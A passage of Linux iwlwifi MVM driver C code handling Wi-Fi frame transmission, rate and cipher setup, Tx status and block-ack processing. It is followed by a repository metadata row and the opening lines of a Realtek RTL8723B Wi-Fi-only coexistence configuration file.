/* High prio packet (wrt. BT coex) if it is EAPOL, MCAST or MGMT */
if (info->band == IEEE80211_BAND_2GHZ &&
(skb->protocol == cpu_to_be16(ETH_P_PAE) ||
is_multicast_ether_addr(hdr->addr1) ||
ieee80211_is_back_req(fc) ||
ieee80211_is_mgmt(fc)))
tx_flags |= TX_CMD_FLG_BT_DIS;
if (ieee80211_has_morefrags(fc))
tx_flags |= TX_CMD_FLG_MORE_FRAG;
if (ieee80211_is_data_qos(fc)) {
u8 *qc = ieee80211_get_qos_ctl(hdr);
tx_cmd->tid_tspec = qc[0] & 0xf;
tx_flags &= ~TX_CMD_FLG_SEQ_CTL;
} else {
tx_cmd->tid_tspec = IWL_TID_NON_QOS;
if (info->flags & IEEE80211_TX_CTL_ASSIGN_SEQ)
tx_flags |= TX_CMD_FLG_SEQ_CTL;
else
tx_flags &= ~TX_CMD_FLG_SEQ_CTL;
}
if (ieee80211_is_mgmt(fc)) {
if (ieee80211_is_assoc_req(fc) || ieee80211_is_reassoc_req(fc))
tx_cmd->pm_frame_timeout = cpu_to_le16(3);
else
tx_cmd->pm_frame_timeout = cpu_to_le16(2);
/* The spec allows Action frames in A-MPDU, we don't support
* it
*/
WARN_ON_ONCE(info->flags & IEEE80211_TX_CTL_AMPDU);
} else {
tx_cmd->pm_frame_timeout = 0;
}
if (info->flags & IEEE80211_TX_CTL_AMPDU)
tx_flags |= TX_CMD_FLG_PROT_REQUIRE;
if (ieee80211_is_data(fc) && len > mvm->rts_threshold &&
!is_multicast_ether_addr(ieee80211_get_DA(hdr)))
tx_flags |= TX_CMD_FLG_PROT_REQUIRE;
tx_cmd->driver_txop = 0;
tx_cmd->tx_flags = cpu_to_le32(tx_flags);
/* Total # bytes to be transmitted */
tx_cmd->len = cpu_to_le16((u16)skb->len);
tx_cmd->next_frame_len = 0;
tx_cmd->life_time = cpu_to_le32(TX_CMD_LIFE_TIME_INFINITE);
tx_cmd->sta_id = sta_id;
}
/*
* Sets the fields in the Tx cmd that are rate related
*/
static void iwl_mvm_set_tx_cmd_rate(struct iwl_mvm *mvm,
struct iwl_tx_cmd *tx_cmd,
struct ieee80211_tx_info *info,
struct ieee80211_sta *sta,
__le16 fc)
{
u32 rate_flags;
int rate_idx;
u8 rate_plcp;
/* Set retry limit on RTS packets */
tx_cmd->rts_retry_limit = IWL_RTS_DFAULT_RETRY_LIMIT;
/* Set retry limit on DATA packets and Probe Responses*/
if (ieee80211_is_probe_resp(fc)) {
tx_cmd->data_retry_limit = IWL_MGMT_DFAULT_RETRY_LIMIT;
tx_cmd->rts_retry_limit =
min(tx_cmd->data_retry_limit, tx_cmd->rts_retry_limit);
} else if (ieee80211_is_back_req(fc)) {
tx_cmd->data_retry_limit = IWL_BAR_DFAULT_RETRY_LIMIT;
} else {
tx_cmd->data_retry_limit = IWL_DEFAULT_TX_RETRY;
}
/*
* for data packets, rate info comes from the table inside he fw. This
* table is controlled by LINK_QUALITY commands
*/
if (ieee80211_is_data(fc) && sta) {
tx_cmd->initial_rate_index = 0;
tx_cmd->tx_flags |= cpu_to_le32(TX_CMD_FLG_STA_RATE);
return;
} else if (ieee80211_is_back_req(fc)) {
tx_cmd->tx_flags |=
cpu_to_le32(TX_CMD_FLG_ACK | TX_CMD_FLG_BAR);
}
/* HT rate doesn't make sense for a non data frame */
WARN_ONCE(info->control.rates[0].flags & IEEE80211_TX_RC_MCS,
"Got an HT rate for a non data frame 0x%x\n",
info->control.rates[0].flags);
rate_idx = info->control.rates[0].idx;
/* if the rate isn't a well known legacy rate, take the lowest one */
if (rate_idx < 0 || rate_idx > IWL_RATE_COUNT_LEGACY)
rate_idx = rate_lowest_index(
&mvm->nvm_data->bands[info->band], sta);
/* For 5 GHZ band, remap mac80211 rate indices into driver indices */
if (info->band == IEEE80211_BAND_5GHZ)
rate_idx += IWL_FIRST_OFDM_RATE;
/* For 2.4 GHZ band, check that there is no need to remap */
BUILD_BUG_ON(IWL_FIRST_CCK_RATE != 0);
/* Get PLCP rate for tx_cmd->rate_n_flags */
rate_plcp = iwl_mvm_mac80211_idx_to_hwrate(rate_idx);
mvm->mgmt_last_antenna_idx =
iwl_mvm_next_antenna(mvm, iwl_fw_valid_tx_ant(mvm->fw),
mvm->mgmt_last_antenna_idx);
rate_flags = BIT(mvm->mgmt_last_antenna_idx) << RATE_MCS_ANT_POS;
/* Set CCK flag as needed */
if ((rate_idx >= IWL_FIRST_CCK_RATE) && (rate_idx <= IWL_LAST_CCK_RATE))
rate_flags |= RATE_MCS_CCK_MSK;
/* Set the rate in the TX cmd */
tx_cmd->rate_n_flags = cpu_to_le32((u32)rate_plcp | rate_flags);
}
/*
* Sets the fields in the Tx cmd that are crypto related
*/
static void iwl_mvm_set_tx_cmd_crypto(struct iwl_mvm *mvm,
struct ieee80211_tx_info *info,
struct iwl_tx_cmd *tx_cmd,
struct sk_buff *skb_frag)
{
struct ieee80211_key_conf *keyconf = info->control.hw_key;
switch (keyconf->cipher) {
case WLAN_CIPHER_SUITE_CCMP:
tx_cmd->sec_ctl = TX_CMD_SEC_CCM;
memcpy(tx_cmd->key, keyconf->key, keyconf->keylen);
if (info->flags & IEEE80211_TX_CTL_AMPDU)
tx_cmd->tx_flags |= cpu_to_le32(TX_CMD_FLG_CCMP_AGG);
break;
case WLAN_CIPHER_SUITE_TKIP:
tx_cmd->sec_ctl = TX_CMD_SEC_TKIP;
ieee80211_get_tkip_p2k(keyconf, skb_frag, tx_cmd->key);
break;
case WLAN_CIPHER_SUITE_WEP104:
tx_cmd->sec_ctl |= TX_CMD_SEC_KEY128;
/* fall through */
case WLAN_CIPHER_SUITE_WEP40:
tx_cmd->sec_ctl |= TX_CMD_SEC_WEP |
((keyconf->keyidx << TX_CMD_SEC_WEP_KEY_IDX_POS) &
TX_CMD_SEC_WEP_KEY_IDX_MSK);
memcpy(&tx_cmd->key[3], keyconf->key, keyconf->keylen);
break;
default:
IWL_ERR(mvm, "Unknown encode cipher %x\n", keyconf->cipher);
break;
}
}
/*
* Allocates and sets the Tx cmd the driver data pointers in the skb
*/
static struct iwl_device_cmd *
iwl_mvm_set_tx_params(struct iwl_mvm *mvm, struct sk_buff *skb,
struct ieee80211_sta *sta, u8 sta_id)
{
struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data;
struct ieee80211_tx_info *info = IEEE80211_SKB_CB(skb);
struct iwl_device_cmd *dev_cmd;
struct iwl_tx_cmd *tx_cmd;
dev_cmd = iwl_trans_alloc_tx_cmd(mvm->trans);
if (unlikely(!dev_cmd))
return NULL;
memset(dev_cmd, 0, sizeof(*dev_cmd));
tx_cmd = (struct iwl_tx_cmd *)dev_cmd->payload;
if (info->control.hw_key)
iwl_mvm_set_tx_cmd_crypto(mvm, info, tx_cmd, skb);
iwl_mvm_set_tx_cmd(mvm, skb, tx_cmd, info, sta_id);
iwl_mvm_set_tx_cmd_rate(mvm, tx_cmd, info, sta, hdr->frame_control);
memset(&info->status, 0, sizeof(info->status));
info->driver_data[0] = NULL;
info->driver_data[1] = dev_cmd;
return dev_cmd;
}
int iwl_mvm_tx_skb_non_sta(struct iwl_mvm *mvm, struct sk_buff *skb)
{
struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data;
struct ieee80211_tx_info *info = IEEE80211_SKB_CB(skb);
struct iwl_device_cmd *dev_cmd;
struct iwl_tx_cmd *tx_cmd;
u8 sta_id;
if (WARN_ON_ONCE(info->flags & IEEE80211_TX_CTL_AMPDU))
return -1;
if (WARN_ON_ONCE(info->flags & IEEE80211_TX_CTL_SEND_AFTER_DTIM &&
(!info->control.vif ||
info->hw_queue != info->control.vif->cab_queue)))
return -1;
/*
* If the interface on which frame is sent is the P2P_DEVICE
* or an AP/GO interface use the broadcast station associated
* with it; otherwise use the AUX station.
*/
if (info->control.vif &&
(info->control.vif->type == NL80211_IFTYPE_P2P_DEVICE ||
info->control.vif->type == NL80211_IFTYPE_AP)) {
struct iwl_mvm_vif *mvmvif =
iwl_mvm_vif_from_mac80211(info->control.vif);
sta_id = mvmvif->bcast_sta.sta_id;
} else {
sta_id = mvm->aux_sta.sta_id;
}
IWL_DEBUG_TX(mvm, "station Id %d, queue=%d\n", sta_id, info->hw_queue);
dev_cmd = iwl_mvm_set_tx_params(mvm, skb, NULL, sta_id);
if (!dev_cmd)
return -1;
/* From now on, we cannot access info->control */
tx_cmd = (struct iwl_tx_cmd *)dev_cmd->payload;
/* Copy MAC header from skb into command buffer */
memcpy(tx_cmd->hdr, hdr, ieee80211_hdrlen(hdr->frame_control));
if (iwl_trans_tx(mvm->trans, skb, dev_cmd, info->hw_queue)) {
iwl_trans_free_tx_cmd(mvm->trans, dev_cmd);
return -1;
}
return 0;
}
/*
* Sets the fields in the Tx cmd that are crypto related
*/
int iwl_mvm_tx_skb(struct iwl_mvm *mvm, struct sk_buff *skb,
struct ieee80211_sta *sta)
{
struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data;
struct ieee80211_tx_info *info = IEEE80211_SKB_CB(skb);
struct iwl_mvm_sta *mvmsta;
struct iwl_device_cmd *dev_cmd;
struct iwl_tx_cmd *tx_cmd;
__le16 fc;
u16 seq_number = 0;
u8 tid = IWL_MAX_TID_COUNT;
u8 txq_id = info->hw_queue;
bool is_data_qos = false, is_ampdu = false;
mvmsta = (void *)sta->drv_priv;
fc = hdr->frame_control;
if (WARN_ON_ONCE(!mvmsta))
return -1;
if (WARN_ON_ONCE(mvmsta->sta_id == IWL_MVM_STATION_COUNT))
return -1;
dev_cmd = iwl_mvm_set_tx_params(mvm, skb, sta, mvmsta->sta_id);
if (!dev_cmd)
goto drop;
tx_cmd = (struct iwl_tx_cmd *)dev_cmd->payload;
/* From now on, we cannot access info->control */
spin_lock(&mvmsta->lock);
if (ieee80211_is_data_qos(fc) && !ieee80211_is_qos_nullfunc(fc)) {
u8 *qc = NULL;
qc = ieee80211_get_qos_ctl(hdr);
tid = qc[0] & IEEE80211_QOS_CTL_TID_MASK;
if (WARN_ON_ONCE(tid >= IWL_MAX_TID_COUNT))
goto drop_unlock_sta;
seq_number = mvmsta->tid_data[tid].seq_number;
seq_number &= IEEE80211_SCTL_SEQ;
hdr->seq_ctrl &= cpu_to_le16(IEEE80211_SCTL_FRAG);
hdr->seq_ctrl |= cpu_to_le16(seq_number);
seq_number += 0x10;
is_data_qos = true;
is_ampdu = info->flags & IEEE80211_TX_CTL_AMPDU;
}
/* Copy MAC header from skb into command buffer */
memcpy(tx_cmd->hdr, hdr, ieee80211_hdrlen(fc));
WARN_ON_ONCE(info->flags & IEEE80211_TX_CTL_SEND_AFTER_DTIM);
if (is_ampdu) {
if (WARN_ON_ONCE(mvmsta->tid_data[tid].state != IWL_AGG_ON))
goto drop_unlock_sta;
txq_id = mvmsta->tid_data[tid].txq_id;
}
IWL_DEBUG_TX(mvm, "TX to [%d|%d] Q:%d - seq: 0x%x\n", mvmsta->sta_id,
tid, txq_id, seq_number);
/* NOTE: aggregation will need changes here (for txq id) */
if (iwl_trans_tx(mvm->trans, skb, dev_cmd, txq_id))
goto drop_unlock_sta;
if (is_data_qos && !ieee80211_has_morefrags(fc))
mvmsta->tid_data[tid].seq_number = seq_number;
spin_unlock(&mvmsta->lock);
if (txq_id < IWL_MVM_FIRST_AGG_QUEUE)
atomic_inc(&mvm->pending_frames[mvmsta->sta_id]);
return 0;
drop_unlock_sta:
iwl_trans_free_tx_cmd(mvm->trans, dev_cmd);
spin_unlock(&mvmsta->lock);
drop:
return -1;
}
static void iwl_mvm_check_ratid_empty(struct iwl_mvm *mvm,
struct ieee80211_sta *sta, u8 tid)
{
struct iwl_mvm_sta *mvmsta = (void *)sta->drv_priv;
struct iwl_mvm_tid_data *tid_data = &mvmsta->tid_data[tid];
struct ieee80211_vif *vif = mvmsta->vif;
lockdep_assert_held(&mvmsta->lock);
if (tid_data->ssn != tid_data->next_reclaimed)
return;
switch (tid_data->state) {
case IWL_EMPTYING_HW_QUEUE_ADDBA:
IWL_DEBUG_TX_QUEUES(mvm,
"Can continue addBA flow ssn = next_recl = %d\n",
tid_data->next_reclaimed);
tid_data->state = IWL_AGG_STARTING;
ieee80211_start_tx_ba_cb_irqsafe(vif, sta->addr, tid);
break;
case IWL_EMPTYING_HW_QUEUE_DELBA:
IWL_DEBUG_TX_QUEUES(mvm,
"Can continue DELBA flow ssn = next_recl = %d\n",
tid_data->next_reclaimed);
iwl_trans_txq_disable(mvm->trans, tid_data->txq_id);
tid_data->state = IWL_AGG_OFF;
/*
* we can't hold the mutex - but since we are after a sequence
* point (call to iwl_trans_txq_disable), so we don't even need
* a memory barrier.
*/
mvm->queue_to_mac80211[tid_data->txq_id] =
IWL_INVALID_MAC80211_QUEUE;
ieee80211_stop_tx_ba_cb_irqsafe(vif, sta->addr, tid);
break;
default:
break;
}
}
#ifdef CONFIG_IWLWIFI_DEBUG
const char *iwl_mvm_get_tx_fail_reason(u32 status)
{
#define TX_STATUS_FAIL(x) case TX_STATUS_FAIL_ ## x: return #x
#define TX_STATUS_POSTPONE(x) case TX_STATUS_POSTPONE_ ## x: return #x
switch (status & TX_STATUS_MSK) {
case TX_STATUS_SUCCESS:
return "SUCCESS";
TX_STATUS_POSTPONE(DELAY);
TX_STATUS_POSTPONE(FEW_BYTES);
TX_STATUS_POSTPONE(BT_PRIO);
TX_STATUS_POSTPONE(QUIET_PERIOD);
TX_STATUS_POSTPONE(CALC_TTAK);
TX_STATUS_FAIL(INTERNAL_CROSSED_RETRY);
TX_STATUS_FAIL(SHORT_LIMIT);
TX_STATUS_FAIL(LONG_LIMIT);
TX_STATUS_FAIL(UNDERRUN);
TX_STATUS_FAIL(DRAIN_FLOW);
TX_STATUS_FAIL(RFKILL_FLUSH);
TX_STATUS_FAIL(LIFE_EXPIRE);
TX_STATUS_FAIL(DEST_PS);
TX_STATUS_FAIL(HOST_ABORTED);
TX_STATUS_FAIL(BT_RETRY);
TX_STATUS_FAIL(STA_INVALID);
TX_STATUS_FAIL(FRAG_DROPPED);
TX_STATUS_FAIL(TID_DISABLE);
TX_STATUS_FAIL(FIFO_FLUSHED);
TX_STATUS_FAIL(SMALL_CF_POLL);
TX_STATUS_FAIL(FW_DROP);
TX_STATUS_FAIL(STA_COLOR_MISMATCH);
}
return "UNKNOWN";
#undef TX_STATUS_FAIL
#undef TX_STATUS_POSTPONE
}
#endif /* CONFIG_IWLWIFI_DEBUG */
/**
* translate ucode response to mac80211 tx status control values
*/
static void iwl_mvm_hwrate_to_tx_control(u32 rate_n_flags,
struct ieee80211_tx_info *info)
{
struct ieee80211_tx_rate *r = &info->status.rates[0];
info->status.antenna =
((rate_n_flags & RATE_MCS_ANT_ABC_MSK) >> RATE_MCS_ANT_POS);
if (rate_n_flags & RATE_HT_MCS_GF_MSK)
r->flags |= IEEE80211_TX_RC_GREEN_FIELD;
switch (rate_n_flags & RATE_MCS_CHAN_WIDTH_MSK) {
case RATE_MCS_CHAN_WIDTH_20:
break;
case RATE_MCS_CHAN_WIDTH_40:
r->flags |= IEEE80211_TX_RC_40_MHZ_WIDTH;
break;
case RATE_MCS_CHAN_WIDTH_80:
r->flags |= IEEE80211_TX_RC_80_MHZ_WIDTH;
break;
case RATE_MCS_CHAN_WIDTH_160:
r->flags |= IEEE80211_TX_RC_160_MHZ_WIDTH;
break;
}
if (rate_n_flags & RATE_MCS_SGI_MSK)
r->flags |= IEEE80211_TX_RC_SHORT_GI;
if (rate_n_flags & RATE_MCS_HT_MSK) {
r->flags |= IEEE80211_TX_RC_MCS;
r->idx = rate_n_flags & RATE_HT_MCS_INDEX_MSK;
} else if (rate_n_flags & RATE_MCS_VHT_MSK) {
ieee80211_rate_set_vht(
r, rate_n_flags & RATE_VHT_MCS_RATE_CODE_MSK,
((rate_n_flags & RATE_VHT_MCS_NSS_MSK) >>
RATE_VHT_MCS_NSS_POS) + 1);
r->flags |= IEEE80211_TX_RC_VHT_MCS;
} else {
r->idx = iwl_mvm_legacy_rate_to_mac80211_idx(rate_n_flags,
info->band);
}
}
static void iwl_mvm_rx_tx_cmd_single(struct iwl_mvm *mvm,
struct iwl_rx_packet *pkt)
{
struct ieee80211_sta *sta;
u16 sequence = le16_to_cpu(pkt->hdr.sequence);
int txq_id = SEQ_TO_QUEUE(sequence);
struct iwl_mvm_tx_resp *tx_resp = (void *)pkt->data;
int sta_id = IWL_MVM_TX_RES_GET_RA(tx_resp->ra_tid);
int tid = IWL_MVM_TX_RES_GET_TID(tx_resp->ra_tid);
u32 status = le16_to_cpu(tx_resp->status.status);
u16 ssn = iwl_mvm_get_scd_ssn(tx_resp);
struct iwl_mvm_sta *mvmsta;
struct sk_buff_head skbs;
u8 skb_freed = 0;
u16 next_reclaimed, seq_ctl;
__skb_queue_head_init(&skbs);
seq_ctl = le16_to_cpu(tx_resp->seq_ctl);
/* we can free until ssn % q.n_bd not inclusive */
iwl_trans_reclaim(mvm->trans, txq_id, ssn, &skbs);
while (!skb_queue_empty(&skbs)) {
struct sk_buff *skb = __skb_dequeue(&skbs);
struct ieee80211_tx_info *info = IEEE80211_SKB_CB(skb);
skb_freed++;
iwl_trans_free_tx_cmd(mvm->trans, info->driver_data[1]);
memset(&info->status, 0, sizeof(info->status));
info->flags &= ~IEEE80211_TX_CTL_AMPDU;
/* inform mac80211 about what happened with the frame */
switch (status & TX_STATUS_MSK) {
case TX_STATUS_SUCCESS:
case TX_STATUS_DIRECT_DONE:
info->flags |= IEEE80211_TX_STAT_ACK;
break;
case TX_STATUS_FAIL_DEST_PS:
info->flags |= IEEE80211_TX_STAT_TX_FILTERED;
break;
default:
break;
}
info->status.rates[0].count = tx_resp->failure_frame + 1;
iwl_mvm_hwrate_to_tx_control(le32_to_cpu(tx_resp->initial_rate),
info);
/* Single frame failure in an AMPDU queue => send BAR */
if (txq_id >= IWL_MVM_FIRST_AGG_QUEUE &&
!(info->flags & IEEE80211_TX_STAT_ACK))
info->flags |= IEEE80211_TX_STAT_AMPDU_NO_BACK;
/* W/A FW bug: seq_ctl is wrong when the status isn't success */
if (status != TX_STATUS_SUCCESS) {
struct ieee80211_hdr *hdr = (void *)skb->data;
seq_ctl = le16_to_cpu(hdr->seq_ctrl);
}
ieee80211_tx_status_ni(mvm->hw, skb);
}
if (txq_id >= IWL_MVM_FIRST_AGG_QUEUE) {
/* If this is an aggregation queue, we use the ssn since:
* ssn = wifi seq_num % 256.
* The seq_ctl is the sequence control of the packet to which
* this Tx response relates. But if there is a hole in the
* bitmap of the BA we received, this Tx response may allow to
* reclaim the hole and all the subsequent packets that were
* already acked. In that case, seq_ctl != ssn, and the next
* packet to be reclaimed will be ssn and not seq_ctl. In that
* case, several packets will be reclaimed even if
* frame_count = 1.
*
* The ssn is the index (% 256) of the latest packet that has
* treated (acked / dropped) + 1.
*/
next_reclaimed = ssn;
} else {
/* The next packet to be reclaimed is the one after this one */
next_reclaimed = IEEE80211_SEQ_TO_SN(seq_ctl + 0x10);
}
IWL_DEBUG_TX_REPLY(mvm,
"TXQ %d status %s (0x%08x)\n",
txq_id, iwl_mvm_get_tx_fail_reason(status), status);
IWL_DEBUG_TX_REPLY(mvm,
"\t\t\t\tinitial_rate 0x%x retries %d, idx=%d ssn=%d next_reclaimed=0x%x seq_ctl=0x%x\n",
le32_to_cpu(tx_resp->initial_rate),
tx_resp->failure_frame, SEQ_TO_INDEX(sequence),
ssn, next_reclaimed, seq_ctl);
rcu_read_lock();
sta = rcu_dereference(mvm->fw_id_to_mac_id[sta_id]);
if (!IS_ERR_OR_NULL(sta)) {
mvmsta = (void *)sta->drv_priv;
if (tid != IWL_TID_NON_QOS) {
struct iwl_mvm_tid_data *tid_data =
&mvmsta->tid_data[tid];
spin_lock_bh(&mvmsta->lock);
tid_data->next_reclaimed = next_reclaimed;
IWL_DEBUG_TX_REPLY(mvm, "Next reclaimed packet:%d\n",
next_reclaimed);
iwl_mvm_check_ratid_empty(mvm, sta, tid);
spin_unlock_bh(&mvmsta->lock);
}
#ifdef CONFIG_PM_SLEEP
mvmsta->last_seq_ctl = seq_ctl;
#endif
} else {
sta = NULL;
mvmsta = NULL;
}
/*
* If the txq is not an AMPDU queue, there is no chance we freed
* several skbs. Check that out...
*/
if (txq_id < IWL_MVM_FIRST_AGG_QUEUE && !WARN_ON(skb_freed > 1) &&
atomic_sub_and_test(skb_freed, &mvm->pending_frames[sta_id])) {
if (mvmsta) {
/*
* If there are no pending frames for this STA, notify
* mac80211 that this station can go to sleep in its
* STA table.
*/
if (mvmsta->vif->type == NL80211_IFTYPE_AP)
ieee80211_sta_block_awake(mvm->hw, sta, false);
/*
* We might very well have taken mvmsta pointer while
* the station was being removed. The remove flow might
* have seen a pending_frame (because we didn't take
* the lock) even if now the queues are drained. So make
* really sure now that this the station is not being
* removed. If it is, run the drain worker to remove it.
*/
spin_lock_bh(&mvmsta->lock);
sta = rcu_dereference(mvm->fw_id_to_mac_id[sta_id]);
if (IS_ERR_OR_NULL(sta)) {
/*
* Station disappeared in the meantime:
* so we are draining.
*/
set_bit(sta_id, mvm->sta_drained);
schedule_work(&mvm->sta_drained_wk);
}
spin_unlock_bh(&mvmsta->lock);
} else if (!mvmsta) {
/* Tx response without STA, so we are draining */
set_bit(sta_id, mvm->sta_drained);
schedule_work(&mvm->sta_drained_wk);
}
}
rcu_read_unlock();
}
#ifdef CONFIG_IWLWIFI_DEBUG
#define AGG_TX_STATE_(x) case AGG_TX_STATE_ ## x: return #x
static const char *iwl_get_agg_tx_status(u16 status)
{
switch (status & AGG_TX_STATE_STATUS_MSK) {
AGG_TX_STATE_(TRANSMITTED);
AGG_TX_STATE_(UNDERRUN);
AGG_TX_STATE_(BT_PRIO);
AGG_TX_STATE_(FEW_BYTES);
AGG_TX_STATE_(ABORT);
AGG_TX_STATE_(LAST_SENT_TTL);
AGG_TX_STATE_(LAST_SENT_TRY_CNT);
AGG_TX_STATE_(LAST_SENT_BT_KILL);
AGG_TX_STATE_(SCD_QUERY);
AGG_TX_STATE_(TEST_BAD_CRC32);
AGG_TX_STATE_(RESPONSE);
AGG_TX_STATE_(DUMP_TX);
AGG_TX_STATE_(DELAY_TX);
}
return "UNKNOWN";
}
static void iwl_mvm_rx_tx_cmd_agg_dbg(struct iwl_mvm *mvm,
struct iwl_rx_packet *pkt)
{
struct iwl_mvm_tx_resp *tx_resp = (void *)pkt->data;
struct agg_tx_status *frame_status = &tx_resp->status;
int i;
for (i = 0; i < tx_resp->frame_count; i++) {
u16 fstatus = le16_to_cpu(frame_status[i].status);
IWL_DEBUG_TX_REPLY(mvm,
"status %s (0x%04x), try-count (%d) seq (0x%x)\n",
iwl_get_agg_tx_status(fstatus),
fstatus & AGG_TX_STATE_STATUS_MSK,
(fstatus & AGG_TX_STATE_TRY_CNT_MSK) >>
AGG_TX_STATE_TRY_CNT_POS,
le16_to_cpu(frame_status[i].sequence));
}
}
#else
static void iwl_mvm_rx_tx_cmd_agg_dbg(struct iwl_mvm *mvm,
struct iwl_rx_packet *pkt)
{}
#endif /* CONFIG_IWLWIFI_DEBUG */
static void iwl_mvm_rx_tx_cmd_agg(struct iwl_mvm *mvm,
struct iwl_rx_packet *pkt)
{
struct iwl_mvm_tx_resp *tx_resp = (void *)pkt->data;
int sta_id = IWL_MVM_TX_RES_GET_RA(tx_resp->ra_tid);
int tid = IWL_MVM_TX_RES_GET_TID(tx_resp->ra_tid);
u16 sequence = le16_to_cpu(pkt->hdr.sequence);
struct ieee80211_sta *sta;
if (WARN_ON_ONCE(SEQ_TO_QUEUE(sequence) < IWL_MVM_FIRST_AGG_QUEUE))
return;
if (WARN_ON_ONCE(tid == IWL_TID_NON_QOS))
return;
iwl_mvm_rx_tx_cmd_agg_dbg(mvm, pkt);
rcu_read_lock();
sta = rcu_dereference(mvm->fw_id_to_mac_id[sta_id]);
if (!WARN_ON_ONCE(IS_ERR_OR_NULL(sta))) {
struct iwl_mvm_sta *mvmsta = (void *)sta->drv_priv;
mvmsta->tid_data[tid].rate_n_flags =
le32_to_cpu(tx_resp->initial_rate);
}
rcu_read_unlock();
}
int iwl_mvm_rx_tx_cmd(struct iwl_mvm *mvm, struct iwl_rx_cmd_buffer *rxb,
struct iwl_device_cmd *cmd)
{
struct iwl_rx_packet *pkt = rxb_addr(rxb);
struct iwl_mvm_tx_resp *tx_resp = (void *)pkt->data;
if (tx_resp->frame_count == 1)
iwl_mvm_rx_tx_cmd_single(mvm, pkt);
else
iwl_mvm_rx_tx_cmd_agg(mvm, pkt);
return 0;
}
int iwl_mvm_rx_ba_notif(struct iwl_mvm *mvm, struct iwl_rx_cmd_buffer *rxb,
struct iwl_device_cmd *cmd)
{
struct iwl_rx_packet *pkt = rxb_addr(rxb);
struct iwl_mvm_ba_notif *ba_notif = (void *)pkt->data;
struct sk_buff_head reclaimed_skbs;
struct iwl_mvm_tid_data *tid_data;
struct ieee80211_sta *sta;
struct iwl_mvm_sta *mvmsta;
struct sk_buff *skb;
int sta_id, tid, freed;
/* "flow" corresponds to Tx queue */
u16 scd_flow = le16_to_cpu(ba_notif->scd_flow);
/* "ssn" is start of block-ack Tx window, corresponds to index
* (in Tx queue's circular buffer) of first TFD/frame in window */
u16 ba_resp_scd_ssn = le16_to_cpu(ba_notif->scd_ssn);
sta_id = ba_notif->sta_id;
tid = ba_notif->tid;
if (WARN_ONCE(sta_id >= IWL_MVM_STATION_COUNT ||
tid >= IWL_MAX_TID_COUNT,
"sta_id %d tid %d", sta_id, tid))
return 0;
rcu_read_lock();
sta = rcu_dereference(mvm->fw_id_to_mac_id[sta_id]);
/* Reclaiming frames for a station that has been deleted ? */
if (WARN_ON_ONCE(IS_ERR_OR_NULL(sta))) {
rcu_read_unlock();
return 0;
}
mvmsta = (void *)sta->drv_priv;
tid_data = &mvmsta->tid_data[tid];
if (WARN_ONCE(tid_data->txq_id != scd_flow, "Q %d, tid %d, flow %d",
tid_data->txq_id, tid, scd_flow)) {
rcu_read_unlock();
return 0;
}
spin_lock_bh(&mvmsta->lock);
__skb_queue_head_init(&reclaimed_skbs);
/*
* Release all TFDs before the SSN, i.e. all TFDs in front of
* block-ack window (we assume that they've been successfully
* transmitted ... if not, it's too late anyway).
*/
iwl_trans_reclaim(mvm->trans, scd_flow, ba_resp_scd_ssn,
&reclaimed_skbs);
IWL_DEBUG_TX_REPLY(mvm,
"BA_NOTIFICATION Received from %pM, sta_id = %d\n",
(u8 *)&ba_notif->sta_addr_lo32,
ba_notif->sta_id);
IWL_DEBUG_TX_REPLY(mvm,
"TID = %d, SeqCtl = %d, bitmap = 0x%llx, scd_flow = %d, scd_ssn = %d sent:%d, acked:%d\n",
ba_notif->tid, le16_to_cpu(ba_notif->seq_ctl),
(unsigned long long)le64_to_cpu(ba_notif->bitmap),
scd_flow, ba_resp_scd_ssn, ba_notif->txed,
ba_notif->txed_2_done);
tid_data->next_reclaimed = ba_resp_scd_ssn;
iwl_mvm_check_ratid_empty(mvm, sta, tid);
freed = 0;
skb_queue_walk(&reclaimed_skbs, skb) {
struct ieee80211_hdr *hdr = (void *)skb->data;
struct ieee80211_tx_info *info = IEEE80211_SKB_CB(skb);
if (ieee80211_is_data_qos(hdr->frame_control))
freed++;
else
WARN_ON_ONCE(1);
iwl_trans_free_tx_cmd(mvm->trans, info->driver_data[1]);
memset(&info->status, 0, sizeof(info->status));
/* Packet was transmitted successfully, failures come as single
* frames because before failing a frame the firmware transmits
* it without aggregation at least once.
*/
info->flags |= IEEE80211_TX_STAT_ACK;
if (freed == 1) {
/* this is the first skb we deliver in this batch */
/* put the rate scaling data there */
info->flags |= IEEE80211_TX_STAT_AMPDU;
info->status.ampdu_ack_len = ba_notif->txed_2_done;
info->status.ampdu_len = ba_notif->txed;
iwl_mvm_hwrate_to_tx_control(tid_data->rate_n_flags,
info);
}
}
spin_unlock_bh(&mvmsta->lock);
rcu_read_unlock();
while (!skb_queue_empty(&reclaimed_skbs)) {
skb = __skb_dequeue(&reclaimed_skbs);
ieee80211_tx_status_ni(mvm->hw, skb);
}
return 0;
}
int iwl_mvm_flush_tx_path(struct iwl_mvm *mvm, u32 tfd_msk, bool sync)
{
int ret;
struct iwl_tx_path_flush_cmd flush_cmd = {
.queues_ctl = cpu_to_le32(tfd_msk),
.flush_ctl = cpu_to_le16(DUMP_TX_FIFO_FLUSH),
};
u32 flags = sync ? CMD_SYNC : CMD_ASYNC;
ret = iwl_mvm_send_cmd_pdu(mvm, TXPATH_FLUSH, flags,
sizeof(flush_cmd), &flush_cmd);
if (ret)
IWL_ERR(mvm, "Failed to send flush command (%d)\n", ret);
return ret;
}
|
16be913a55ff2ececd9defd4b4a2a9796208c4df
|
89e934e8dfd9edee82859e39fda1ffd69f3d077f
|
/hal/btc/halbtc8723bwifionly.c
|
9be8d62305b3f50a8d13b33247f39ffdb71ec9f3
|
[
"MIT"
] |
permissive
|
quickreflex/rtl8188eus
|
febf4d9141fbc79ee1fd79957cb9063cadcda93d
|
30c129990fb7432c8a96571ca9625e6f2911b99f
|
refs/heads/v5.2.2.4
| 2022-12-19T16:07:13.709608
| 2019-03-22T20:33:32
| 2019-03-22T20:33:32
| 111,782,422
| 216
| 94
|
NOASSERTION
| 2020-10-02T07:11:40
| 2017-11-23T08:20:48
|
C
|
UTF-8
|
C
| false
| false
| 2,613
|
c
|
halbtc8723bwifionly.c
|
#include "mp_precomp.h"
VOID
ex_hal8723b_wifi_only_hw_config(
IN struct wifi_only_cfg *pwifionlycfg
)
{
struct wifi_only_haldata *pwifionly_haldata = &pwifionlycfg->haldata_info;
halwifionly_write1byte(pwifionlycfg, 0x778, 0x3); /* Set pta for wifi first priority, 0x1 need to reference pta table to determine wifi and bt priority */
